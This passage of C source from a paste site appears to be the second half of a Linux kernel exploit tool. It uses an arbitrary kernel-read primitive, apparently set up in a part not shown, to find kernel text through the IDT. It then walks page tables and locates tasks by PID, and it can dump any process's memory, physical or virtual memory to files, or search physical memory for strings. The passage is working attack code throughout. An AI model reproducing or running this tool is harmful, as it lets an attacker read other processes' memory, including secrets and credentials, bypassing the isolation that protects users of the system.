  861. ptsc->physmap = physmap;
  862. ptsc->entry.addr = pgd;
  863. memset(&ptsc->entry.entries[0], 0, sizeof(ptsc->entry.entries));
  864. }
  865.  
  866. static unsigned long ptsc_page_virt_to_phys(struct ptsc* ptsc,
  867. unsigned long addr) {
  868. struct pgd_entry *pgd_e;
  869. struct pud_entry *pud_e;
  870. struct pmd_entry *pmd_e;
  871. struct pte_entry *pte_e;
  872. unsigned long phys_a;
  873. int index;
  874.  
  875. debug1("looking up phys addr for %016lx:\n", addr);
  876.  
  877. pgd_e = &ptsc->entry;
  878.  
  879. index = pgd_index(addr);
  880. debug1(" pgd: %016lx, index: %d\n", pgd_e->addr, index);
  881. if (!pgd_e->entries[index]) {
  882. unsigned long pgd_v = read_8(
  883. pgd_e->addr + index * sizeof(unsigned long));
  884. debug1(" -> %016lx\n", pgd_v);
  885. if (pgd_none(pgd_v)) {
  886. debug1(" not found, pgd is none\n");
  887. return 0;
  888. }
  889. if (!pgd_present(pgd_v)) {
  890. debug1(" not found, pgd is not present\n");
  891. return 0;
  892. }
  893. unsigned long pud_a =
  894. ptsc->physmap + (pgd_v & PHYSICAL_PAGE_MASK);
  895. pud_e = ptsc_alloc_pud_entry(pud_a);
  896. pgd_e->entries[index] = pud_e;
  897. }
  898. pud_e = pgd_e->entries[index];
  899.  
  900. index = pud_index(addr);
  901. debug1(" pud: %016lx, index: %d\n", pud_e->addr, index);
  902. if (!pud_e->entries[index]) {
  903. unsigned long pud_v = read_8(
  904. pud_e->addr + index * sizeof(unsigned long));
  905. debug1(" -> %016lx\n", pud_v);
  906. if (pud_none(pud_v)) {
  907. debug1(" not found, pud is none\n");
  908. return 0;
  909. }
  910. if (!pud_present(pud_v)) {
  911. debug1(" not found, pud is not present\n");
  912. return 0;
  913. }
  914. unsigned long pmd_a =
  915. ptsc->physmap + (pud_v & PHYSICAL_PAGE_MASK);
  916. pmd_e = ptsc_alloc_pmd_entry(pmd_a);
  917. pud_e->entries[index] = pmd_e;
  918. }
  919. pmd_e = pud_e->entries[index];
  920.  
  921. index = pmd_index(addr);
  922. debug1(" pmd: %016lx, index: %d\n", pmd_e->addr, index);
  923. if (!pmd_e->entries[index].pte) {
  924. unsigned long pmd_v = read_8(
  925. pmd_e->addr + index * sizeof(unsigned long));
  926. debug1(" -> %016lx\n", pmd_v);
  927. if (pmd_none(pmd_v)) {
  928. debug1(" not found, pmd is none\n");
  929. return 0;
  930. }
  931. if (!pmd_present(pmd_v)) {
  932. debug1(" not found, pmd is not present\n");
  933. return 0;
  934. }
  935. if (pmd_flags(pmd_v) & _PAGE_PSE) {
  936. phys_a = ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK) +
  937. (addr & ~HUGE_PAGE_MASK);
  938. pmd_e->entries[index].phys = phys_a;
  939. pmd_e->entries[index].huge = true;
  940. } else {
  941. unsigned long pte_a =
  942. ptsc->physmap + (pmd_v & PHYSICAL_PAGE_MASK);
  943. pte_e = ptsc_alloc_pte_entry(pte_a);
  944. pmd_e->entries[index].pte = pte_e;
  945. pmd_e->entries[index].huge = false;
  946. }
  947. }
  948.  
  949. if (pmd_e->entries[index].huge) {
  950. debug1(" phy: %016lx (huge)\n", phys_a);
  951. return pmd_e->entries[index].phys;
  952. }
  953.  
  954. pte_e = pmd_e->entries[index].pte;
  955.  
  956. index = pte_index(addr);
  957. debug1(" pte: %016lx, index: %d\n", pte_e->addr, index);
  958. if (!pte_e->entries[index]) {
  959. unsigned long pte_v = read_8(
  960. pte_e->addr + index * sizeof(unsigned long));
  961. debug1(" -> %016lx\n", pte_v);
  962. if (pte_none(pte_v)) {
  963. debug1(" not found, pte is none\n");
  964. return 0;
  965. }
  966. if (!pte_present(pte_v)) {
  967. debug1(" not found, pte is not present\n");
  968. return 0;
  969. }
  970. phys_a = ptsc->physmap + (pte_v & PHYSICAL_PAGE_MASK) +
  971. (addr & ~PAGE_MASK);
  972. pte_e->entries[index] = phys_a;
  973. }
  974. phys_a = pte_e->entries[index];
  975.  
  976. return phys_a;
  977. }
  978.  
  979. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  980.  
  981. static unsigned long find_task_by_pid(unsigned long init_task, unsigned pid) {
  982. unsigned long cur_task = init_task;
  983.  
  984. while (true) {
  985. unsigned cur_pid =
  986. read_field_4(cur_task, O_TASK_STRUCT_PID);
  987. if (cur_pid == pid)
  988. return cur_task;
  989. unsigned long task_next_ptr =
  990. read_field_8(cur_task, O_TASK_STRUCT_TASKS);
  991. cur_task = task_next_ptr - O_TASK_STRUCT_TASKS;
  992. if (cur_task == init_task)
  993. return 0;
  994. }
  995. }
  996.  
  997. #define MAX_MMAPS_PER_TASK 512
  998.  
  999. struct mmap_entry {
  1000. unsigned long start;
  1001. unsigned long end;
  1002. unsigned flags;
  1003. };
  1004.  
  1005. typedef void (*mmap_callback)(struct mmap_entry *entry, void *private);
  1006.  
  1007. static void for_each_mmap_from(unsigned long mmap, mmap_callback callback,
  1008. void *private) {
  1009. struct mmap_entry entries[MAX_MMAPS_PER_TASK];
  1010. int i, count;
  1011.  
  1012. count = 0;
  1013. while (mmap != 0) {
  1014. assert(count < MAX_MMAPS_PER_TASK);
  1015. unsigned long vm_start =
  1016. read_field_8(mmap, O_VM_AREA_STRUCT_VM_START);
  1017. unsigned long vm_end =
  1018. read_field_8(mmap, O_VM_AREA_STRUCT_VM_END);
  1019. if (vm_start >= TASK_SIZE || vm_end >= TASK_SIZE) {
  1020. info("[-] bad mmap (did the task die?)\n");
  1021. exit(EXIT_FAILURE);
  1022. }
  1023. unsigned vm_flags =
  1024. read_field_4(mmap, O_VM_AREA_STRUCT_VM_FLAGS);
  1025. entries[count].start = vm_start;
  1026. entries[count].end = vm_end;
  1027. entries[count].flags = vm_flags;
  1028. count++;
  1029. mmap = read_field_8(mmap, O_VM_AREA_STRUCT_VM_NEXT);
  1030. }
  1031.  
  1032. for (i = 0; i < count; i++)
  1033. callback(&entries[i], private);
  1034. }
  1035.  
  1036. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1037.  
  1038. static unsigned long g_kernel_text = 0;
  1039. static unsigned long g_physmap = 0;
  1040.  
  1041. static struct ptsc g_ptsc;
  1042.  
  1043. static void physmap_init() {
  1044. unsigned long divide_error = read_idt_gate(0);
  1045. info("[.] divide_error: %016lx\n", divide_error);
  1046.  
  1047. g_kernel_text = divide_error - O_DIVIDE_ERROR;
  1048. info("[.] kernel text: %016lx\n", g_kernel_text);
  1049.  
  1050. if (O_PAGE_OFFSET_BASE) {
  1051. unsigned long page_offset_base =
  1052. g_kernel_text + O_PAGE_OFFSET_BASE;
  1053. info("[.] page_offset_base: %016lx\n", page_offset_base);
  1054.  
  1055. g_physmap = read_8(page_offset_base);
  1056. info("[.] physmap: %016lx\n", g_physmap);
  1057. if (g_physmap < PAGE_OFFSET_BASE) {
  1058. info("[-] physmap sanity check failed "
  1059. "(wrong offset?)\n");
  1060. exit(EXIT_FAILURE);
  1061. }
  1062. } else {
  1063. g_physmap = PAGE_OFFSET_BASE;
  1064. info("[.] physmap: %016lx\n", g_physmap);
  1065. }
  1066. }
  1067.  
  1068. static unsigned long g_mmap = 0;
  1069.  
  1070. static void pts_init(int pid) {
  1071. unsigned long mm;
  1072.  
  1073. if (pid != 0) {
  1074. unsigned long init_task = g_kernel_text + O_INIT_TASK;
  1075. info("[.] init_task: %016lx\n", init_task);
  1076.  
  1077. unsigned long task = find_task_by_pid(init_task, pid);
  1078. info("[.] task: %016lx\n", task);
  1079. if (task == 0) {
  1080. info("[-] task %d not found\n", pid);
  1081. exit(EXIT_FAILURE);
  1082. } else if (task < PAGE_OFFSET_BASE) {
  1083. info("[-] task sanity check failed (wrong offset?)\n");
  1084. exit(EXIT_FAILURE);
  1085. }
  1086.  
  1087. mm = read_field_8(task, O_TASK_STRUCT_MM);
  1088. info("[.] task->mm: %016lx\n", mm);
  1089. if (mm == 0) {
  1090. info("[-] mm not found (kernel task?)\n");
  1091. exit(EXIT_FAILURE);
  1092. } else if (mm < PAGE_OFFSET_BASE) {
  1093. info("[-] mm sanity check failed (wrong offset?)\n");
  1094. exit(EXIT_FAILURE);
  1095. }
  1096.  
  1097. g_mmap = read_field_8(mm, O_MM_STRUCT_MMAP);
  1098. info("[.] task->mm->mmap: %016lx\n", g_mmap);
  1099. if (g_mmap < PAGE_OFFSET_BASE) {
  1100. info("[-] mmap sanity check failed (wrong offset?)\n");
  1101. exit(EXIT_FAILURE);
  1102. }
  1103. } else {
  1104. mm = g_kernel_text + O_INIT_MM;
  1105. }
  1106.  
  1107. unsigned long pgd = read_field_8(mm, O_MM_STRUCT_PGD);
  1108. info("[.] task->mm->pgd: %016lx\n", pgd);
  1109. if (pgd < PAGE_OFFSET_BASE) {
  1110. info("[-] pgd sanity check failed (wrong offset?)\n");
  1111. exit(EXIT_FAILURE);
  1112. }
  1113.  
  1114. ptsc_init(&g_ptsc, g_physmap, pgd);
  1115. }
  1116.  
  1117. static unsigned long page_virt_to_phys(unsigned long addr) {
  1118. unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
  1119. assert(paddr != 0);
  1120. return paddr - g_physmap;
  1121. }
  1122.  
  1123. static bool page_check_virt(unsigned long addr) {
  1124. unsigned long paddr = ptsc_page_virt_to_phys(&g_ptsc, addr);
  1125. return paddr != 0;
  1126. }
  1127.  
  1128. static bool page_check_phys(unsigned long offset) {
  1129. return page_check_virt(g_physmap + offset);
  1130. }
  1131.  
  1132. static void phys_read_range(unsigned long offset, size_t length, char *buffer) {
  1133. read_range(g_physmap + offset, length, buffer);
  1134. }
  1135.  
  1136. static void for_each_mmap(mmap_callback callback, void *private) {
  1137. for_each_mmap_from(g_mmap, callback, private);
  1138. }
  1139.  
  1140. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1141. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1142. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1143.  
  1144. static int create_file(const char *path) {
  1145. int fd = open(path, O_RDWR | O_CREAT, 0644);
  1146. if (fd < 0) {
  1147. perror("[-] open()");
  1148. exit(EXIT_FAILURE);
  1149. }
  1150. return fd;
  1151. }
  1152.  
  1153. static int open_dir(const char *path) {
  1154. int fd = open(path, O_DIRECTORY | O_PATH);
  1155. if (fd < 0) {
  1156. perror("[-] open()");
  1157. exit(EXIT_FAILURE);
  1158. }
  1159. return fd;
  1160. }
  1161.  
  1162. static int create_file_in_dir(int dirfd, const char *name) {
  1163. int fd = openat(dirfd, name, O_RDWR | O_CREAT, 0644);
  1164. if (fd < 0) {
  1165. perror("[-] openat()");
  1166. exit(EXIT_FAILURE);
  1167. }
  1168. return fd;
  1169. }
  1170.  
  1171. static void write_file(int fd, char *buffer, size_t length) {
  1172. int rv = write(fd, buffer, length);
  1173. if (rv != length) {
  1174. perror("[-] write()");
  1175. exit(EXIT_FAILURE);
  1176. }
  1177. }
  1178.  
  1179. static void write_bytes(int fd, unsigned long src_addr,
  1180. char *buffer, size_t length) {
  1181. if (fd < 0)
  1182. print_bytes(LOG_INFO, src_addr, buffer, length);
  1183. else
  1184. write_file(fd, buffer, length);
  1185. }
  1186.  
  1187. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1188.  
  1189. void read_virt_memory(unsigned long addr, size_t length, int fd) {
  1190. char buffer[PAGE_SIZE];
  1191. char empty[PAGE_SIZE];
  1192.  
  1193. debug1("read_virt_memory: addr = %016lx, length = %016lx\n",
  1194. addr, length);
  1195.  
  1196. memset(&empty[0], 0, sizeof(empty));
  1197.  
  1198. size_t total_read = 0;
  1199. while (total_read < length) {
  1200. unsigned long current = addr + total_read;
  1201. size_t to_read = PAGE_SIZE;
  1202. if (current % PAGE_SIZE != 0)
  1203. to_read = PAGE_SIZE - current % PAGE_SIZE;
  1204. to_read = min(to_read, length - total_read);
  1205. if (page_check_virt(addr + total_read)) {
  1206. read_range(addr + total_read, to_read, &buffer[0]);
  1207. write_bytes(fd, addr + total_read, &buffer[0], to_read);
  1208. } else {
  1209. write_bytes(fd, addr + total_read, &empty[0], to_read);
  1210. }
  1211. total_read += to_read;
  1212. }
  1213. }
  1214.  
  1215. void read_phys_memory(unsigned long src_addr, unsigned long offset,
  1216. size_t length, int fd) {
  1217. char buffer[PAGE_SIZE];
  1218. char empty[PAGE_SIZE];
  1219.  
  1220. debug1("read_phys_memory: offset = %016lx, length = %016lx\n",
  1221. offset, length);
  1222.  
  1223. memset(&empty[0], 0, sizeof(empty));
  1224.  
  1225. size_t total_read = 0;
  1226. while (total_read < length) {
  1227. unsigned long current = offset + total_read;
  1228. size_t to_read = PAGE_SIZE;
  1229. if (current % PAGE_SIZE != 0)
  1230. to_read = PAGE_SIZE - current % PAGE_SIZE;
  1231. to_read = min(to_read, length - total_read);
  1232. if (page_check_phys(offset + total_read)) {
  1233. phys_read_range(offset + total_read, to_read,
  1234. &buffer[0]);
  1235. write_bytes(fd, src_addr + offset + total_read,
  1236. &buffer[0], to_read);
  1237. } else {
  1238. write_bytes(fd, src_addr + offset + total_read,
  1239. &empty[0], to_read);
  1240. }
  1241. total_read += to_read;
  1242. }
  1243. }
  1244.  
  1245. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1246.  
  1247. #define VM_READ 0x00000001
  1248. #define VM_WRITE 0x00000002
  1249. #define VM_EXEC 0x00000004
  1250.  
  1251. static void print_mmap(unsigned long start, unsigned long end, unsigned flags) {
  1252. info("[%016lx, %016lx) %s%s%s\n",
  1253. start, end,
  1254. (flags & VM_READ) ? "r" : "-",
  1255. (flags & VM_WRITE) ? "w" : "-",
  1256. (flags & VM_EXEC) ? "x" : "-");
  1257. }
  1258.  
  1259. static void name_mmap(unsigned long start, unsigned long end, unsigned flags,
  1260. char *buffer, size_t length) {
  1261. snprintf(buffer, length, "%016lx_%016lx_%s%s%s",
  1262. start, end,
  1263. (flags & VM_READ) ? "r" : "-",
  1264. (flags & VM_WRITE) ? "w" : "-",
  1265. (flags & VM_EXEC) ? "x" : "-");
  1266. }
  1267.  
  1268. static void save_mmap(struct mmap_entry *entry, void *private) {
  1269. int dirfd = (int)(unsigned long)private;
  1270. unsigned long length;
  1271. char name[128];
  1272. char empty[PAGE_SIZE];
  1273.  
  1274. assert(entry->start % PAGE_SIZE == 0);
  1275. assert(entry->end % PAGE_SIZE == 0);
  1276.  
  1277. memset(&empty, 0, sizeof(empty));
  1278. length = entry->end - entry->start;
  1279.  
  1280. print_mmap(entry->start, entry->end, entry->flags);
  1281. name_mmap(entry->start, entry->end, entry->flags,
  1282. &name[0], sizeof(name));
  1283. int fd = create_file_in_dir(dirfd, &name[0]);
  1284.  
  1285. size_t total_read = 0;
  1286. while (total_read < length) {
  1287. if (page_check_virt(entry->start + total_read)) {
  1288. unsigned long offset = page_virt_to_phys(
  1289. entry->start + total_read);
  1290. read_phys_memory(entry->start + total_read, offset,
  1291. PAGE_SIZE, fd);
  1292. } else {
  1293. write_bytes(fd, entry->start + total_read,
  1294. &empty[0], PAGE_SIZE);
  1295. }
  1296. total_read += PAGE_SIZE;
  1297. }
  1298.  
  1299. close(fd);
  1300. }
  1301.  
  1302. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1303.  
  1304. unsigned long get_phys_size() {
  1305. struct sysinfo info;
  1306. int rv = sysinfo(&info);
  1307. if (rv != 0) {
  1308. perror("sysinfo()");
  1309. return EXIT_FAILURE;
  1310. }
  1311. debug1("phys size: %016lx\n", info.totalram);
  1312. return info.totalram;
  1313. }
  1314.  
  1315. void phys_search(unsigned long start, unsigned long end, char *needle) {
  1316. char buffer[PAGE_SIZE];
  1317. int length = strlen(needle);
  1318.  
  1319. assert(length <= PAGE_SIZE);
  1320.  
  1321. unsigned long offset;
  1322. for (offset = start; offset < end; offset += PAGE_SIZE) {
  1323. if (offset % (32ul << 20) == 0)
  1324. info("[.] now at %016lx\n", offset);
  1325. if (!page_check_phys(offset))
  1326. continue;
  1327. phys_read_range(offset, length, &buffer[0]);
  1328. if (memcmp(&buffer[0], needle, length) != 0)
  1329. continue;
  1330. info("[+] found at %016lx\n", offset);
  1331. return;
  1332. }
  1333. info("[-] not found\n");
  1334. }
  1335.  
  1336. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1337.  
  1338. #define CMD_IDT 1
  1339. #define CMD_PID 2
  1340. #define CMD_VIRT 3
  1341. #define CMD_PHYS 4
  1342. #define CMD_SEARCH 5
  1343.  
  1344. int g_cmd = 0;
  1345.  
  1346. static unsigned g_num = 1;
  1347. static unsigned g_pid = 0;
  1348. static unsigned long g_addr = 0;
  1349. static unsigned long g_length = 0;
  1350. static unsigned long g_offset = 0;
  1351. static const char *g_dir = NULL;
  1352. static const char *g_file = NULL;
  1353. static char *g_string = NULL;
  1354.  
  1355. static void print_usage(const char* name) {
  1356. info("Usage: \n");
  1357. info(" %s idt [NUM] "
  1358. "dump IDT entries\n", name);
  1359. info(" %s pid PID DIR "
  1360. "dump process memory\n", name);
  1361. info(" %s virt ADDR LENGTH [FILE] "
  1362. "dump virtual memory\n", name);
  1363. info(" %s phys OFFSET LENGTH [FILE] "
  1364. "dump physical memory\n", name);
  1365. info(" %s search STRING [OFFSET [LENGTH]] "
  1366. "search start of each physical page\n", name);
  1367. info("\n");
  1368. info(" NUM, PID - decimals\n");
  1369. info(" ADDR, LENGTH, OFFSET - hex\n");
  1370. info(" DIR, FILE, STRING - strings\n");
  1371. }
  1372.  
  1373. static bool parse_u(char *s, int base, unsigned *out) {
  1374. int length = strlen(s);
  1375. char *endptr = NULL;
  1376. unsigned long result = strtoul(s, &endptr, base);
  1377. if (endptr != s + length)
  1378. return false;
  1379. *out = result;
  1380. return true;
  1381. }
  1382.  
  1383. static bool parse_ul(char *s, int base, unsigned long *out) {
  1384. int length = strlen(s);
  1385. char *endptr = NULL;
  1386. unsigned long result = strtoul(s, &endptr, base);
  1387. if (endptr != s + length)
  1388. return false;
  1389. *out = result;
  1390. return true;
  1391. }
  1392.  
  1393. static int parse_cmd(const char *cmd) {
  1394. if (strcmp(cmd, "idt") == 0)
  1395. return CMD_IDT;
  1396. if (strcmp(cmd, "pid") == 0)
  1397. return CMD_PID;
  1398. if (strcmp(cmd, "virt") == 0)
  1399. return CMD_VIRT;
  1400. if (strcmp(cmd, "phys") == 0)
  1401. return CMD_PHYS;
  1402. if (strcmp(cmd, "search") == 0)
  1403. return CMD_SEARCH;
  1404. return 0;
  1405. }
  1406.  
  1407. static bool parse_args(int argc, char **argv) {
  1408. if (argc < 2)
  1409. return false;
  1410.  
  1411. g_cmd = parse_cmd(argv[1]);
  1412.  
  1413. switch (g_cmd) {
  1414. case CMD_IDT:
  1415. if (argc > 3)
  1416. return false;
  1417. if (argc >= 3 && !parse_u(argv[2], 10, &g_num))
  1418. return false;
  1419. return true;
  1420. case CMD_PID:
  1421. if (argc != 4)
  1422. return false;
  1423. if (!parse_u(argv[2], 10, &g_pid))
  1424. return false;
  1425. if (g_pid <= 0)
  1426. return false;
  1427. g_dir = argv[3];
  1428. debug1("CMD_PID %u %s\n", g_pid, g_dir);
  1429. return true;
  1430. case CMD_VIRT:
  1431. if (argc < 4 || argc > 5)
  1432. return false;
  1433. if (!parse_ul(argv[2], 16, &g_addr))
  1434. return false;
  1435. if (!parse_ul(argv[3], 16, &g_length))
  1436. return false;
  1437. if (argc == 5)
  1438. g_file = argv[4];
  1439. debug1("CMD_VIRT %016lx %016lx %s\n", g_addr,
  1440. g_length, g_file ? g_file : "NULL");
  1441. return true;
  1442. case CMD_PHYS:
  1443. if (argc < 4 || argc > 5)
  1444. return false;
  1445. if (!parse_ul(argv[2], 16, &g_offset))
  1446. return false;
  1447. if (!parse_ul(argv[3], 16, &g_length))
  1448. return false;
  1449. if (argc == 5)
  1450. g_file = argv[4];
  1451. debug1("CMD_PHYS %016lx %016lx %s\n", g_offset,
  1452. g_length, g_file ? g_file : "NULL");
  1453. return true;
  1454. case CMD_SEARCH:
  1455. if (argc < 3 || argc > 5)
  1456. return false;
  1457. g_string = argv[2];
  1458. if (argc >= 4 && !parse_ul(argv[3], 16, &g_offset))
  1459. return false;
  1460. if (argc >= 5 && !parse_ul(argv[4], 16, &g_length))
  1461. return false;
  1462. debug1("CMD_SEARCH <%s> %016lx %016lx\n",
  1463. g_string, g_offset, g_length);
  1464. return true;
  1465. default:
  1466. return false;
  1467. }
  1468.  
  1469. return true;
  1470. }
  1471.  
  1472. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1473.  
  1474. void handle_cmd_idt() {
  1475. info("[.] dumping IDT\n");
  1476. print_idt(g_num);
  1477. info("[+] done\n");
  1478. }
  1479.  
  1480. void handle_cmd_virt() {
  1481. int fd = -1;
  1482. info("[.] dumping virtual memory [%016lx, %016lx):\n",
  1483. g_addr, g_addr + g_length);
  1484. if (g_file != NULL)
  1485. fd = create_file(g_file);
  1486. read_virt_memory(g_addr, g_length, fd);
  1487. if (fd != -1)
  1488. close(fd);
  1489. info("[+] done\n");
  1490. }
  1491.  
  1492. void handle_cmd_phys() {
  1493. int fd = -1;
  1494. info("[.] dumping physical memory [%016lx, %016lx):\n",
  1495. g_offset, g_offset + g_length);
  1496. if (g_file != NULL)
  1497. fd = create_file(g_file);
  1498. read_phys_memory(0, g_offset, g_length, fd);
  1499. if (fd != -1)
  1500. close(fd);
  1501. info("[+] done\n");
  1502. }
  1503.  
  1504. void handle_cmd_pid() {
  1505. info("[.] dumping mmaps for %u:\n", g_pid);
  1506. int dirfd = open_dir(g_dir);
  1507. for_each_mmap(save_mmap, (void *)(unsigned long)dirfd);
  1508. close(dirfd);
  1509. info("[+] done\n");
  1510. }
  1511.  
  1512. void handle_cmd_search() {
  1513. unsigned long start = g_offset ? g_offset : 0;
  1514. unsigned long end = g_length ? (start + g_length) : get_phys_size();
  1515. info("[.] searching [%016lx, %016lx) for '%s':\n",
  1516. start, end, g_string);
  1517. phys_search(start, end, g_string);
  1518. info("[+] done\n");
  1519. }
  1520.  
  1521. // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
  1522.  
  1523. int main(int argc, char **argv) {
  1524. assert(getpagesize() == PAGE_SIZE);
  1525.  
  1526. if (!parse_args(argc, argv)) {
  1527. print_usage(argv[0]);
  1528. exit(EXIT_FAILURE);
  1529. }
  1530.  
  1531. arbitrary_read_init();
  1532.  
  1533. if (g_cmd == CMD_IDT) {
  1534. handle_cmd_idt();
  1535. return EXIT_SUCCESS;
  1536. }
  1537.  
  1538. physmap_init();
  1539.  
  1540. switch (g_cmd) {
  1541. case CMD_VIRT:
  1542. pts_init(getpid());
  1543. handle_cmd_virt();
  1544. break;
  1545. case CMD_PHYS:
  1546. pts_init(0);
  1547. handle_cmd_phys();
  1548. break;
  1549. case CMD_SEARCH:
  1550. pts_init(0);
  1551. handle_cmd_search();
  1552. break;
  1553. case CMD_PID:
  1554. pts_init(g_pid);
  1555. handle_cmd_pid();
  1556. break;
  1557. }
  1558.  
  1559. return EXIT_SUCCESS;
  1560. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement